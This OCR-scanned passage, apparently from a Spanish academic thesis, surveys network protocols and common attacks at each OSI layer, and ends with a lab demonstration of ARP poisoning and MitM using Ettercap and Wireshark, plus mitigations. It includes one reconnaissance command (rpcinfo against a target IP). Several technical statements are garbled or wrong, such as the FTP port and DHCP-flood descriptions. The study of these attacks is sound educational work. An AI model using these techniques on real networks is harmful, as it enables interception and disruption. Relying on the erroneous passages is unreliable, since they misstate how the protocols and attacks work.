Su arquitectura se basa en cliente-servidor, usa el puerto 23
para acceder al equipo remoto. Una de las desventajas de este
protocolo es que no usa cifrado de daros, por lo que cuando una
persona este escuchando en red puede conocer facilmente su usuario

y contrasena.

La mayoria de sistemas operativos ya no lo permiten ni en
redes LAN (Windows), esto se debe a que las comunicaciones no se

encuentran cifradas.

¢) Trasferencia de Archivos (FTP)

Es un protocolo de arquitectura cliente — servidor, tiene como
funcion principal el uso compartido de archivos por medio de

programas de servidores remotos.
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Su transferencia es muy rapida y no posee las seguridades
adecuadas, debido a esto no usa dos puertos para su transmision; el 20

para viaje de datos y 21 para informacion de control o dialogo.

Obviamente, FTP posee ciertas desventajas como la falta de
encriptacion, por lo que con el tiempo se han desarrollado otros
protocolos de transferencia de fichero de modo seguro como FTP

sobre SSH, FTPS o SCP.

d) Secure Shell (SSH)

Es un protocolo de arquitectura cliente - servidor que
proporciona altos estandares de seguridad mediante la encriptacién de

128 bits; facilitando la comunicacién entre dos sistemas.

Es muy similar al protocolo Telnet, siendo su principal funcion
acceder a maquinas de manera remota mediante una red; usa un

intérprete de comandos para poder tomar el control completamente.

Actualmente, existe dos tipos de versiones la cual una es mejor
que otra debido a que soluciona todos los problemas de seguridad, un
ejemplo claro es OpenSSH, es la version libre de este protocolo ya
que proporciona herramientas para un control seguro, remoto y

encriptado.
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e) Protocolo Simple de Trasferencia de Correo Electronico (SMTP

Es un protocolo de arquitectura cliente — servidor, relacionado
con correos electronicos el cual permite que circulen a través del
internet; utiliza el puerto 25 y exige de autenticaciones para poder

trabajar.

Su principal funcion es permitir la comunicacion con un
servidor usando lineas de texto o codificado en ASCII con un maximo

de 1000 caracteres para ofrecer instrucciones necesarias.

f) Protocolos de Oficina de Correos (POP)

Es un protocolo usado para descargar mensajes que se
encuentren almacénanos en un servidor de correo sin necesidad de
conexion. Es disefiado con el objetivo de recibir gestionar, acceder y

transferir correos entre un servidor y un cliente local.

Usa el puerto 110 en su Gltima version mas usada POP3 ya que
es soportado por casi todos los clientes de correo electronico; este
protocolo es ideal cuando no se desea saturar servidores o gestionar

cuentas simultaneamente.

g) Protocolo Simple de Administracion de Red (SNMP)

Es un protocolo de arquitectura cliente — servidor que
supervisa dispositivos en red, servidores, estaciones de trabajo; de tal

manera que busque y resuelva problemas para planear su crecimiento.
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Actualmente, este protocolo ofrece su Gltima version 3, la cual
detalla ventajas en el tema de seguridad ya que es de gran importancia

en el estudio y gestion de redes.

h) Protocolo de Trasferencia de Hipertexto (HTTP)

Es un protocolo de arquitectura cliente — servidor, sin estado
ya gque no guarda informacion de ninguna conexion anterior, permite
distribuir y compartir informacion mediante paginas web. Es usado en

el servicio de Internet WWW (WorldWideWeb).

Usa el puerto 80 por defecto, siendo su funcion principal el
transferir informacion de texto con formato o sin formato, sonido,
video, imagenes, entre otros. Los archivos que maneja este protocolo
son planos a través de comandos HTML (Lenguaje de Marcas de
Hipertexto) que son interpretados por el navegador como formateo de

datos.

Por otro lado, tiene su version HTTPS, se trasmite usando el
puerto 443 ofreciendo mayor seguridad al momento de navegar por
internet ya que confirma si nos encontramos en una pagina segura o

no.

i) Protocolo de Configuracion Dinamica de Host (DHCP)

Es un protocolo de arquitectura cliente — servidor que usa los
puertos 67 UDP y 68 UDP respectivamente. Su funcién principal es

asignar parametros de una configuracion IP dinamicamente a todos
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los dispositivos que se encuentren dentro de una red local y asi lograr
simplificar la administracion de una red.

Basicamente, es disefiado con el objetivo de sustituir al
protocolo BooTP con algunas mejoras las cuales incluye el ahorro de
tiempo mediante la gestion de direcciones IP, estas asignaciones son
temporales ya que tienen cierto tiempo de validez y renegociando los

paramentos de red.

J) Protocolo de Acceso a Mensajes de Internet (IMAP)

Es un protocolo que permite el acceso a mensajes de correo

electronico que se encuentran en un servidor a traves del internet.

Actualmente, empresas como Google, Yahoo, Hotmail, entre
otros; ofrecen este servicio de manera gratuita y sin animos de lucro.
No necesita de aplicaciones para consultar correos, ni usar discos
duros locales ya que toda la informacién se guarda en servidores hasta

que el usuario decida tomar acciones como eliminarlos.
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3.4 Ataques Comunes en los 7 Niveles en el Modelo de Interconexion de Sistemas

Abiertos (OSI)

3.4.1 Capa Fisica

Ademas de ser el nivel méas bajo del modelo OSlI, este nivel no se encuentra
exento de ataques fisicos que pueden provocar grandes dafios directa o

indirectamente hacia la empresa.

Los entornos fisicos pueden llegar a ser muy inciertos por lo que
generalmente para un atacante va a resultar méas facil vulnerarlo afectando uno de
los principales pilares de la informacion la disponibilidad. Dentro de este apartado
existe amenazas de tipo factores naturales (incendios, inundaciones, terremotos,
huracanes), factores humanos (robo y/o perdida de informacion, energia,
dispositivos informaticos, entre otros), destruccion de propiedad privada, sabotajes

internos y externos.

Los ataques hacia las autenticaciones y controles de acceso de dan por dafios
provocados por factores humanos internos ya sea de manera intencional o fortuita
hacia el entorno informatico, no conciencia de seguridad informatica, vandalismo,
estafas, elevacion y abuso de privilegios que buscan corromper la disponibilidad,

confidencialidad e integridad de la informacion.

Para los medios de trasmision los principales ataques son hacia los canales
guiados e inaldmbricos por la cual viaja la informacion porque puede ser

interrumpido u obstaculizado por el entorno, es decir pinchados de cables,
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interferencias que destruyen sefiales, atenuacion que limitan distancias,

perturbaciones en la trasmision (ruido), intercepcion de cables, entre otros.

Para los medios fisicos de almacenamiento y procesamiento de informacion
como los servidores, cintas magnéticas, USB, y otros; pueden ser robados, perdidos

y/o destruidos por factores humanos de manera intencionada.

Mientras que en “Cloud Computing” puede existir pérdida o fuga de
informacion, secuestro de sesiones, accesos no autorizados, denegaciones de

servicios, entre otros.

3.4.2 Capa Enlace de Datos

3.4.2.1 ARP Spoofing

Es una técnica usada para infiltrarse en una red Ethernet
conmutada, la cual permite al atacante monitorizar paquetes de datos en
unared de érea local, ademés de poder modificar el tréfico. (Costas Santos,

Seguridad y Alta Disponibilidad, 2014).

El principal objetivo de ARP Spoofing es enviar mensajes ARP
falsos o falsificados a los equipos de una LAN, asociando la direccion
MAC del atacante con la direccién IP de otro equipo, como una puerta de
enlace (Gateway). De esta manera cualquier trafico dirigido a la direccion
IP de este equipo suplantado (Gateway), sera enviado al atacante, en lugar
de su destino real. El atacante, puede elegir entre reenviar el trafico a el

equipo real o modificar los datos antes de reenviarlos.
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3.4.2.2 ARP Poisoning

Es un ataque de tipo envenenamiento el cual genera peticiones y
respuestas ARP las cuales se encuentran modificadas, el principal objetivo
es asociar la direccion MAC del atacante con su respectiva direccion IP,
de esta manera el trafico pasara por la maquina del atacante y redirigirlo

hacia la maquina final.

3.4.2.3 ARP Hijacking o Proxying

Este tipo de ataque se basa en ARP Spoofing, su principal objetivo
es redirigir el flujo de las tramas entre dos dispositivos hacia un equipo
propio.

Para realizar un ARP Hijacking, el atacante debe hacer creer a la
victima que la direccion MAC de la maquina con la que se quiere comunicar
es el atacante directo; después hace creer a la otra victima (destino) que la
MAC de la maquina con la que se quiere comunicar es la del atacante y
finalmente, reenviar la informacion a sus respectivos destinos una vez

procesada por él. (Inteco, 2016).

3.4.2.4 Hombre en el Medio (MitM)

MitM, es un ataque basado en Spoofing, consta como un caso
especifico de interceptacion y modificacion de identidad. Un atacante
supervisa la comunicacion entre dos partes, falsifica las identidades de los
extremos y por la tanto recibe el trafico en los dos sentidos (Costas Santos,

Seguridad y Alta Disponibilidad, 2014).
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3.4.2.5 Denegacion de Servicio ARP

(Inteco, 2016) es un ataque basado en Spoofing; siendo su funcion
principal hacer creer a la victima que su direccion IP se encuentra asociada
a una direccion MAC la cual es falsa, entonces cada vez que la victima
desee comunicarse con dicha direcciéon IP; el dispositivo switch hace que el
trafico se dirija a un sistema que no existe y por tanto que no llegue a su
destino, de esta manera la victima perdera la comunicacion con esa
direccién IP en la red interna; sin embargo, si dicha direccion IP es la de su

puerta de acceso, perdera la conexion con el exterior.

En otras palabras, este es el ataque mas basico, y para esto tan solo
el atacante debe enviar de forma regular paquetes de respuesta ARP

especialmente manipulados, con una asociacion que sea falsa.

3.4.2.6 ARP Sniffing

(Inteco, 2016) es un ataque basado en Spoofing, consiste en hacer
pensar a la victima que una determinada direccion IP se encuentra asociada

a la su propia direcciéon MAC.

El atacante indica a la victima que una direccion IP estd asociada a
su MAC, por lo tanto, todo ese tréafico es redirigido a el mismo, normalmente
en un ataque ARP Sniffing, la tarjeta de red rechaza estos datos. Sin
embargo, aunque la direccion MAC coincida, la direccién IP del atacante es
completamente diferente a la del destino con el que la victima quiere

ponerse en contacto.
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En esta parte, donde entra el modo promiscuo de la tarjeta de red; ya
que si el atacante, aparte de enviar de manera regular los paquetes
(manipulados) de respuesta ARP, puede ver la informacion que le llega y
procesarla. Es asi, como puede obtener la informacion que la victima cree

estar viendo en otro sistema.

3.4.2.7 MAC Flooding

(Gomez Vietes, 2013) es un ataque que provoca desbordamientos de
las tablas de memoria (Content Addresable Memory (CAM)) de un
dispositivo switch para conseguir que pase a funcionar como un simple hub,
de tal forma que retransmita todo el trafico que recibe a través de los puertos.
En este sentido, al no poder “recordar” que equipo se encuentran conectados

a sus distintos puertos por haber sido borrados de sus tablas de memoria.

3.4.2.8 VLAN Hopping

(GOmez Lopez, Castro Simén, & Guillén Nufez, 2014) explican que
es una técnica que permite tener acceso al trafico de red de otra Virtual LAN
(VLAN), la cual es normalmente inaccesible cuando se encuentra bien

configurada.

Este tipo de ataque se basa en “Switch Spoofing”, es decir donde el
atacante activa su interfaz en modo troncal e imita el comportamiento de un
Switch, sin embargo, para efectuar este ataque, el atacante unicamente tiene
que escuchar el trafico de red filtrando por os paquetes DTP, y en el caso de
que existan dichos paquetes, es posible realizar “Saltos” de un VLAN a otra
sin restricciones.

87



3.4.2.9 Doble Etiquetado

Este tipo de método aprovecha una VLAN nativa que se envia sin
ninguna etiqueta a través de enlaces trocales conocidas como 802.1Q,
entonces cuando crea una VLAN falsa, el atacante envia trafico
unidireccional directo hacia el otro servidor VLAN de esta manera agrega
dos etiquetas hacia las VLAN nativas y VLAN destinos. Los Switches
realizan un solo nivel de desencapsulacion; este tipo de ataque funciona si
la VLAN nativa es la misma que la del atacante sin tomar en cuenta si el

puerto del atacante esta desactivado el Tracking.

3.4.2.10 Denegacion de Servicio basado en STP

Son aquellos que fuerzan a los dispositivos participantes en STP a
recalcular sus caminos, debido a esto provoca una gran inestabilidad en la
red, cada uno de los switches se ven obligados a consumir tiempo de CPU

y memoria. (Davila, 2012).

3.4.2.11 Inundaciones DHCP

En este tipo de ataques es probable que se produzcan bucles en la red
provocando una caida y se empiece duplicar paquetes, congestionando la

red y una total degradacion.

Este tipo de ataque es simple, ya que se basa en enviar miles de

paquetes BPDU con la direccion MAC origen generados aleatoriamente.

(Dévila, 2012).
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3.4.3 Capa Enlace de Red

3.4.3.1 Recopilacion de Informacion (Networking Footprinting)

(McClure, Scambray, & Kurtz, 2010) explica que la recopilacion de
informacidn sistematica y metodica permite a los atacantes crear un perfil
casi completo de la seguridad de la organizacién que desean atacar,

mediante el uso de herramientas y técnicas.

De esta manera, el atacante sabe a qué se dedica la organizacién
haciendo que los riesgos sean mas altos del entorno que los rodea y
reduciendo toda esta informacién a rangos especifico como nombres de

dominio, bloques de red, direcciones IP, entre otros.

Las herramientas para realizar este tipo de ataques pueden ser

Whois, Google Hacking, People Search, SamSpade, entre otros.

3.4.3.2 IP Spoofing

(Gomez Vietes, 2013) es un tipo de ataque de suplantacion de
identidad, conocida como enmascaramiento de una direccion IP, mediante
la cual un atacante consigue modificar la cabecera de los paguetes enviados
a un determinado sistema informético paras simular que proceden de un

equipo distinto al que verdaderamente los ha originado.

Las herramientas para realizar este tipo de ataques pueden ser
Netcat, Etherchange, los cuales hacen una busqueda profunda de toda la

informacidn que pueda existir en la red.
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3.4.3.3 Nuke

(Areitio, 2008) este tipo de ataque es muy antiguo realizando un
DoS, se beneficia de alguna vulnerabilidad existente en cualquier servicio
del sistema operativo de la victima provocando un error, colgando el equipo
0 consumiendo recursos. El atacante no necesita ningun tipo de
infraestructura o ancho de banda para poder realizarlo, ya que tan solo con

enviar unos pocos paquetes IP logra colgar el sistema remoto.

3.4.3.4 Ping de la Muerte

Este tipo de ataque consiste en que un atacante envia un paquete de
ping (IP) de tamafio superior a los 65.536 bytes, provocando que la maquina
se reinicie o se cuelgue, como €l envid de este paquete es muy grande

ocasiona que el buffer de memoria se desborde. (Gomez Vietes, 2013)

3.4.3.5 Land

Este tipo de ataque se da a un error de implementacién de protocolos
en algunos sistemas Windows, consiste en colgar un equipo vulnerable
mediante el envio de una serie de paquetes maliciosamente construidos, en
los que la direccion y el puerto de origen son idénticos a la direccion y puerto

de destino. (Gomez Vietes, 2013)

3.4.3.6 Supernuke o Winnuke

Es un ataque contra algunos sistemas Windows, que se quedan

colgados o disminuyen drasticamente su rendimiento al recibir paquetes
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UDP manipulados, es decir fragmentos de paquetes Out of Band dirigidos

contra el puerto 137. (Gomez Vietes, 2013)

3.4.3.7 Teardrop

(Gutiérrez del Moral, 2014) es un tipo de ataque que consiste en el
envio de paquetes fragmentados de manera incorrecta. Los equipos
vulnerables que no hayan sido convenientemente parcheados se cuelgan al

recibir este tipo de paquetes maliciosos.

3.4.3.8 ICMP Flood

(Gutiérrez del Moral, 2014) es una técnica Denied of Service, siendo
su principal objetivo agotar el ancho de banda de la victima; consiste en
enviar de forma continua un ndmero elevado de paquetes ICMP Echo
request (ping) hacia la victima, de manera que esta responde con paquetes
ICMP Echo reply (pong); suponiendo una gran sobrecarga de la red y el

sistema de la victima.

3.4.3.9 Smurf o Pitufo

(Gutiérrez del Moral, 2014) es una variaciéon de ICMP Flood,
amplifica considerablemente los efectos de un ataque ICMP; se divide en
tres partes denominados atacante, intermediario y victima. Este tipo de
ataque tiene por objetivo enviar grandes cantidades de trafico ICMP a la

direccion de broadcast.

Entonces, el atacante dirige paquete ICMP de tipo “Echo request”

(ping) a una direccion IP de broadcast, usando como direccion IP origen, la
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direccion de la victima; se espera que los equipos conectados respondan a

tal peticion usando un “Echo Reply” al equipo de la victima.

Cuando se menciono que el ataque era amplificado lo que se explica
es que la cantidad de respuestas obtenidas, es la cantidad de equipos de red
que pueden responder; estas respuestas son dirigidas a la victima intentando

colapsar los recursos de la red.

3.4.4 Capa Enlace de Transporte

3.4.4.1 Fingerprinting

(Gomes Vieites, 2014) es un conjunto de técnicas y habilidades que
permiten extraer toda la informacion posible sobre un sistema. Los atacantes
usan esta informacién para tratar de explorar las vulnerabilidades

potenciales del sistema en cuestion.

3.4.4.2 TCP Connect Scanning

(Gomes Vieites, 2014) , es la técnica mas sencilla de escaneo,
consiste en el envio de un paquete de intento de conexion al puerto de
servicio que se pretende investigar para comprobar, de este modo el sistema
responde aceptando la conexion o denegandola. Sin embargo, esta técnica
es facilmente detectable, por lo que se puede configurar al sistema

informético para que no responda a este tipo de acciones.

3.4.4.3 TCP SYN Scanning

(Gomes Vieites, 2014), es una técnica de escaneo que intenta abrir
la conexion con un determinado puerto para que en cuanto se confirma que
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dicho puerto esta abierto, envie un paquete “RST” que solicita terminar la

conexion. Esta técnica no es registrada por algunos servidores.

3.4.4.4 TCP FIN Scanning

(Gomes Vieites, 2014), conocida como “Escanco Oculto de
Puertos”, ha sido propuesta como una técnica de escaneo que trata de evitar

ser registrada por los cortafuegos y servidores de una organizacion.

Es una técnica muy avanzada, el cual consiste en el envio de un
paquete “FIN” de exploracion, de forma que si el puerto esta abierto, el
servidor ignorara este paquete, mientras que, si el puerto esta cerrado, el
servidor responderd con un paquete “RST” ante un paquete “FIN”,

independiente de si el puerto encuentra abierto o cerrado.

3.4.4.5 TCP NULL Scanning

(Gomes Vieites, 2014), esta técnica que envia un paquete TCP con

todos los Flags a cero en su cabecera

3.4.4.6 TCP ACK Scanning

(Gomes Vieites, 2014), esta técnica permite determinar si el
cortafuego acta como un filtro de paquetes o mantiene el estado de las

sesiones.

3.4.4.7 TCP Fragmention Scanning

(Gomes Vieites, 2014), es una técnica de escaneo que recurre a la
fragmentacion de paquete TCP.
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3.4.4.8 TCP Windows Scanning

(Gomes Vieites, 2014), permite reconocer determinados puertos

abiertos a través del tamafio de la ventana de los paquetes TCP.

3.4.4.9 Inundacion UDP

(Castro , 2013), son ataques de denegacién de servicios sobre los
UDP, siendo estos no orientados a la conexion; si se inunda a la victima con
paquetes UDP enviados a puertos aleatorios, este tendra que responder a

ellos con paquetes ICMP Destination Unreachable.

3.4.4.10 SYN Flood

(Gomez Vietes, 2013) se basa en el incumplimiento de las reglas
béasicas del protocolo TCP por parte del cliente. Al establecer la conexion,
se envia una peticién de conexion al equipo de la victima, pero no se
responde a la aceptacién de la conexion por parte de este equipo (se facilita

la direccion IP falsa).

El equipo de la victima deja la conexion en estado de “semi -
abierta”, consumiendo de este modo recursos de la méquina. Las conexiones
“semi — abiertas” caducan al cabo de cierto tiempo, libreando sus recursos.
Sin embargo, si se envian muchas peticiones de conexién siguiendo el
ataque SYN Flood, se colapsaran los recursos del equipo victima, que no

podra atender nuevas conexiones legitimas.
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3.4.4.11 Connection Flood

(Gomez Vietes, 2013) es un tipo de ataque que consiste en intentar
establecer cientos 0 miles de conexiones simultaneas contra un determinado
servidor victima del ataque, con lo que se consumen Sus recursos y se

degrada de forma notable su respuesta ante usuarios legitimos.

3.4.5 Capa Enlace de Sesion

3.4.5.1 NetBIOS

Es un ataque que permite compartir recursos de una computadora a
otra siempre y cuando tengan habilitado los puertos 137,138 o 139; de tal
manera que los atacantes ingresan de manera sencilla y obtener un control

total permitiendo que los mensajes puedan pasar de ida y regreso en la red.

3.4.5.2 Llamada de Procedimiento Remoto

Esta tecnologia creada por Sun MicroSystems ayuda puede ser
vulnerable desde equipos “Unix” los cuales permiten realizar

procedimientos y acciones de manera remota desde otro equipo.

Para realizar este tipo de ataque tan solo se debe obtener la lista de
servicios activos mediante el comando “#rpcinfo —p (Direccion IP a

Atacar)”.
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3.4.6 Capa Enlace de Presentacion

3.4.6.1 Fuerza Bruta

Es un tipo de ataque que intenta romper cifrados mediante pruebas
de todas las posibles combinaciones, es posible descifrar usuarios y
contrasefias para autenticar un usuario. Este tipo de ataque requiere tiempo
y diferentes recursos por lo que, si su contrasefia es larga, esta tiende a crecer
de manera exponencial.

3.4.6.2 Diccionario

Es similar al ataque de fuerza bruta, con la diferencia que para
descifrar o conseguir una contrasefia se usan posibles palabras,
generalmente son tomadas de un glosario de palabras y nombres. Si dicha
clave se encuentra en el diccionario se consigue reducir el tiempo necesario

para encontrarla.

3.4.6.3 Textos Cifrados

El atacante dispone de varios textos cifrados y su principal objetivo
es recuperar los textos claros y buscar claves utilizadas en diferentes

sistemas criptogréaficos.

3.4.6.4 Textos Claros Conocidos

El atacante conoce o puede adivinar alguna parte de textos cifrados,
siendo su principal objetivo determinar la clave utilizada para descifrar el
resto del texto, entre los mas habituales textos conocidos tenemos cabeceras

de paquetes, cabeceras en mensajes de correos electronicos, entre otros.
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3.4.7 Capa Enlace de Aplicacion

3.4.7.1 Sniffing

Es una técnica basada en “escucha” la cual permite obtener grandes
cantidades de informacion que circulan por una red; todo este proceso se lo
realiza mediante aplicaciones los cuales capturan, interpretan y almacenan
los paquetes de datos para proceder a su analisis como contrasefias, correos

electronicos, datos crediticios, bancarios, entre otros.

3.4.7.2 Denegaciones de Servicios (DoS)

Es un ataque cuyo principal objetivo es lograr que un servicio o
recurso quede completamente inaccesible o colapse completamente para

usuarios legitimos dentro de una red.

Puede ser realizado de muchas maneras derivandolos en dos
situaciones; la primera es denegar servicio por saturacion, es decir inundar
a un equipo con solicitudes para que no puedan responder a las reales y la
segunda es denegar mediante la explotacién de vulnerabilidades los cuales

se aprovechan de estas para hacer inestable al sistema.

3.4.7.3 Denegaciones Distribuidas de Servicios (DDoS)

Este tipo de ataques se basa en inhabilitar un servidor,
infraestructura o servicio mediante la sobrecarga del ancho de banda del
mismo servidor o agotar sus recursos disponibles; para lograr esto, se

envian multiples peticiones desde varios puntos de la red.
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3.4.7.4 SMPT Flood

Es un ataque que se basa en €l envid masivo de mensajes de correos
provocando saturaciones de los servidores de correo electronico derivando

en DDoS.

3.4.7.5 DNS Spoofing

Es un ataque que permite alterar las direcciones de los servidores
DNS para mantener un control total de las consultas que realiza la victima
y asi lograr que apunten a servidores maliciosos. Uno de los méas grandes
impactos que puede realizar este tipo de ataques es la falsificacion de sitios

para robar credenciales de la victima.

3.4.7.6 Telnet

Es un atague que permite la autenticacion de una victima mediante
solicitudes de usuarios y contrasefias que se transmiten a atreves de la red.
Para lograr este tipo de ataque se debe usar técnicas de Sniffing los cuales
verifiquen que los puertos de “Telnet” se encuentren abiertos y de esta

manera Iograr SU acceso.

3.4.7.7 Ataque al protocolo SSH

Es un ataque equivalente a “Telnet” pero de manera segura, sin
embargo, el hecho de cifrar el usuario y contrasefia no impide que un

atacante que las conozca acceda al servicio.
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3.4.7.8 Ataque por Inyeccion

Es un ataque que permite la modificacion de una cadena de
consulta de base de datos mediante la “inyeccion” de cddigo en su
consulta. Es muy facil de ejecutar ya que tan solo requiere de una sola

computadora y conocimientos solidos en bases de datos.

3.4.7.9 Ataque HTTP y HTTPS

Este tipo de ataque posibilita la entrega de informacion por parte
de los usuarios mediante el puerto 80 y la ejecucion remota de cdodigo en
la parte del servidor. Realizar este tipo de ataque puede desembocar en

denegaciones de servicios, inestabilidad o invalidez a todo un sistema.

3.5 Aplicacién de los ataques mas comunes en los 7 Niveles en el Modelo de

Interconexion de Sistemas Abiertos (OSI)

Partiendo de la importancia de los recursos informaticos para todo tipo de
empresas se realiza un analisis de los ataques mas comunes que se puede producir en el

modelo OSI. A continuacion, se detalla cdmo se producen y sus maneras de prevenirlas.
3.5.1 ARP Poisoning — Hombre en el Medio

ARP Poisoning y MitM se producen a nivel 2 del Modelo OSI (Enlace de

Datos), ambos se encuentran estrechamente ligados para producir ataques de tipo

de falsificacion de direcciones MAC dentro de una red LAN. Como resultado, el

atacante vincula la direccién MAC con la direccion IP de la victima.
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Se ha utilizado el sistema operativo “Kali Linux” como atacante y la
maquina virtual “Windows 7 como victima, siendo estas herramientas utiles para

simular cualquier tipo de ataque hacia la red.

“Kali Linux” posee diversas herramientas para provocar cualquier tipo de
ataque en este caso se usara “Ethercap” debido a que cuenta con variedad de
ataques que deben pasar por MitM con el objetivo de interponerse entre la
comunicacion de dos maquinas y que todo el trafico pase por la maquina del

atacante y poder desencriptar cualquier tipo de informacion.

Cuando el ataque inicia se debe seleccionar las direcciones IP objetivos
(victimas) ya que la herramienta Ethercap es capaz de identificar cualquier
direccion IP que se encuentre en la red; se realiza un “Sniff” profundo a dichas
direcciones seleccionadas. Como se puede observar en la Ilustracion 3-6, se utiliza
el analizador de trafico “Wireshark™ el cual permitira observar toda la informacion
que atraviesa por la red; de esta manera se realiza un filtro de los pagquetes ARP

enviados a la maquina victima.

A continuacién se demuestra que el ataque se realiz6 con éxito ya que la
direccion MAC de la victima fue falsificada sin ningin inconveniente (VER
ANEXO 8.1). Todas estas acciones desembocan en diversos ataques como
denegar servicios, secuestros de sesiones, interceptacion o modificacion en el

transito de datos, entre otros.
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N larp B30 ~| Expression.. +

No Time Source Destination  Protocol Length Info
+ 4.286611328 PcsCompu_0f:f3:04 Pegatron_4.. ARP 42 192.168.100.181 is at 08:00:27:0f:f3:04
4,286711722  PcsCompu_6f:f3:04 PcsCompu_1.., 42 192.168.100.163 is at ©8:00:27:0f:f3:04 (duplicate

14,296843613 PcsCompu_0f:f3:04 Pegatron_4.. ARP 42 192.168.100.181 is at 08:00:27:0f:f3:04 v
4

Frame 10: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @
v Ethernet II, Src: PcsCompu_0f:f3:04 (08:00:27:0f:f3:04), Dst: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
» Destination: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
» Source: PcsCompu_0f:f3:04 (08:00:27:0f:f3:04)
Type: ARP (©x0806)
v [Duplicate IP address detected for 192.168.100.163 (08:00:27:0f:f3:04) - also in use by 38:60:77:4e:7a:ea (fri
v [Frame showing earlier use of IP address: 9]

v [Expert Info (Warning/Sequence): Duplicate IP address configured (192.168.100.163)]
[Duplicate IP address configured (192.168.100.163)]
[Severity level: Warning]
[Group: Sequence]

[Seconds since earlier frame seen: 0]

v [Duplicate IP address detected for 192.168.100.181 (08:00:27:17:b4:1d) - also in use by ©8:00:27:0f:f3:04 (fr:
v [Frame showing earlier use of IP address: 9]

v [Expert Info (Warning/Sequence): Duplicate IP address configured (192.168.106.181)]
[Duplicate IP address configured (192.168.100.181)]
[Severity level: Warning]
[Group: Sequence]

[Qernnde sinece earlier frame seen: Al

lustracion 3-6: “Visualizacion del ataque MitM y ARP Spoofing en Wireshark ”,

3.5.1.1 Medios de Prevencion

3.5.1.1.1 Trabajar con rutas estaticas con los equipos de red de tal manera
que logre invalidar cualquier tipo de informacion que trata de
cambiar la cache ARP, a pesar de que es una solucién simple esta
asegura que la puerta de enlace predeterminada sea realmente la
de la red y no de un atacante. Se debe tomar en cuenta que esta
media se usa en redes pequefias y no tan complicadas debido a
gue muchas veces una red puede tener grandes cantidades de
terminales que seria muy laborioso ingresar cada una de las
direcciones IP y MAC; si embrago, brinda una alta seguridad para

el protocolo ARP. Para configurar las tablas ARP (VER ANEXO

8.1).

3.5.1.1.2 Dividir la red en subredes a través de los routers o redes virtuales,

de tal forma que se pueda reducir y controlar el trafico de un
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equipo hacia otro mejorando el rendimiento de la misma,
brindando mayor seguridad, controlando su crecimiento, entre

otros.

3.5.1.1.3 Usar protocolos de tipo RARP*? el cual permite realizar consultas
de las direcciones MAC con el objetivo de devolver sus
respectivas direcciones IP, en el caso de que devuelva mas de una

direccion IP quiere decir que dicha MAC fue clonada.

3.5.1.1.4 Cuando se utiliza los diferentes dispositivos de red la mayoria de
switchs y routers ya cuentan con funcionalidades y caracteristicas
de seguridad contra este tipo de ataques, por lo que es necesario
contar con personal capacitado para realizar las configuraciones

y monitoreo respectivo.

3.5.1.1.5 Usar herramientas como “Arpwatch” que son soluciones libres
para todo tipo de sistemas GNU/Linux la cual realiza un
seguimiento de las direcciones IP y MAC, esta aplicacion realiza
un tipo de lo de los incidentes sospechosos, ademas se puede
configurar para recibir cualquier tipo de alarma por medio de

correo electronico.

3.5.1.1.6 Usar herramientas como “Arpon” de tal manera que asegure el
protocolo ARP, ademas esta aplicacion evita ataques de

enrutamiento usando tres tipos de técnicas de suplantacién ARP

12 RARP: Protocolo de Reverso ARP
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conocidos como redes configuradas como SARPI*®, DARPI*,

HARPI®,

3.5.1.1.7 Cabe resaltar que existen varias herramientas las cuales no son
muy utilizadas pero ayudan de manera potencial la mitigacion de

este tipo de ataque como XArp?®.

*eth0 o0
File gditk View Go Capture Analyze Statistics Telephony Wireless Tools Help
BA@ONXE Qaer s T aaai
N arp *| Expression.. +
No Time Source Destination Protocol  Length Info E
0.000000600 Dell_f2:89:86 Broadcast ARP 60 Who has 192.168.100.9? Tell 192.168.100.14
©.558134702 Dell _f2:89:86 Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.14
1.558504061 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.1080.9? Tell 192.168.100.14

.1507 Tell 192.168.100.14

5.246063337

Pegatron_4e:7a:

ea Broadcast

5.246072385 Pegatron_de:7a:ea Broadcast ARP 60 Who has 192.168.180.97 Tell 192.168.180.163
6.170320606 Pegatron_d4e:7a:ea Broadcast ARP 60 Who has 192.168.100.1507 Tell 192.168.100.1¢
6.170329816 Pegatron_4e:7a:ea Broadcast ARP 60 Who has 192.168.1600.97 Tell 192.168.100.163
7.170786970  Pegatron_de:7a:ea Broadcast ARP 6@ Who has 192.168.100.1587 Tell 192.168.100,1¢
7.170717433 Pegatron_4e:7a:ea Broadcast ARP 68 Who has 192.168.100.97 Tell 192.168.100.163
10.804548906 Dell_f2:89:86 Broadcast ARP 60 Who has 192.168.100.97 Tell 192.168.100.14
10.558470344 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.9? Tell 192.168.100.14 ~

4 L]
Frame 63: 6@ bytes on wire (488 bits), 60 bytes captured (480 bits) on interface @
~ Ethernet II, Src: Pegatron_de:7a:ea (38:60:77:4e:7a:ea), Dst: Broadcast (Ff:ff:ff:ff:ff:ff)
b Destigfl:'!'fg; Broadcast (Ff:ff:ff:ff:Ff:fF)
» Sourcq: Pegatron de:Ta:ea (38:60:77:4e:7a:ea) |
Type: ARP (©x0866)

Padding: [elelolulelelsloTolelelslole eleleTale ol e e Tol clute TeT o adaTal o TaTe ]
Address Resolution Protocol (request) |

-

-

lHustracion 3-7: “Visualizacion de la Mitigacion MitM y ARP Spoofing a traves

de rutas estaticas”

Como se puede observar en la llustracion 3-7 se ha capturado el trafico de
la maquina a la cual se busca atacar nuevamente (victima), esta vez no ha tenido
éxito ya que se ha establecido direcciones estaticas para que no pueda ingresar

ninguna maquina diferente a las establecidas. (VER ANEXO 8.1).

13 SARPI: Redes configuradas estaticamente.

14 DARPI: Redes configuradas dindmicamente.

15 HARPI: Redes configuradas estaticamente y dindmicamente.

16 XArp: Advanced ARP Spoofing Detection (Deteccion de Suplantacién de ARP Avanzada)
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3.5.1.2 Resultados

Antes de realizar el ataque con su respectiva mitigacion, se puede
observar en la Tabla 3-2 cuales son las direcciones IP y MAC

respectivamente:

Sistema
Operativo
Atacante 192.168.100.166 38:60:77:4E:7A: EA Kali Linux
Victima 192.168.100.181 38:60:77: 4E:7A: EA  Windows 7

Direccion IP Direccion MAC

Tabla 3-2: “Direcciones IP y MAC antes del Ataque MitM y ARP Spoofing”

Sin embargo, después del ataque se suplanta la direccion MAC de la

victima, quedando de la forma:

Sistema
Operativo
Atacante 192.168.100.166 38:60:77: 4E:7A: EA Kali Linux
